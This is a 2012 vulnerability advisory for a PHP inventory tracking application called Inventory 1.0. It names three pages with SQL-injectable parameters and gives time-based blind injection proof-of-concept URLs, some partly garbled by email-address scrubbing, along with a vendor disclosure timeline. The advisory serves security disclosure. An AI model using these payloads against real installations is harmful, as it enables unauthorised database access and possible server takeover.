Inventory 1.0 SQL Injection

`# Exploit Title: Inventory 1.0 Multiple SQL Vulnerabilities  
# Date: 10/19/12  
# Author: G13  
# Twitter: @g13net  
# Software Site: https://github.com/farevalod/inventory  
# Version: 1.0  
# Category: webapp (php)  
# dc585  
  
##### ToC #####  
  
0x01 Description  
0x02 SQL Injection  
0x03 Vendor Notification  
  
##### 0x01 Description #####  
  
PHP + SQL Inventory tracking system  
  
##### 0x02 SQL Injection #####  
  
The Inventoy application has muliple pages and parameters that are  
vulnerable to SQL injection. These vulnerabilities could  
be used to extract information from the database or take remote  
control of the server.  
  
-----Vulnerable Pages-----  
  
http://localhost/inventory/consulta_fact.php?fact_num=[SQLi]  
http://localhost/inventory/addinventario.php?ref=[SQLi]&sn=[SQLi]&factura=[SQLi]  
http://localhost/inventory/newtransact.php?ref=[SQLi]  
  
-----PoC Exploits-----  
  
http://localhost/inventory/consulta_fact.php?fact_num=17 AND SLEEP(5)  
http://localhost/inventory/[email protected]'  
AND SLEEP(5) AND 'EJxe'='EJxe&sn=555-555-  
[email protected]' AND SLEEP(5) AND  
'IgkP'='IgkP&[email protected]' AND SLEEP(5) AND  
'CFdY'='CFdY  
http://localhost/inventory/newtransact.php?ref=RSC-280' AND SLEEP(5)  
AND 'wIUB'='wIUB  
  
##### 0x03 Vendor Notification #####  
  
10/19/12 - Vendor Notified  
10/26/12 - No response, disclosure  
`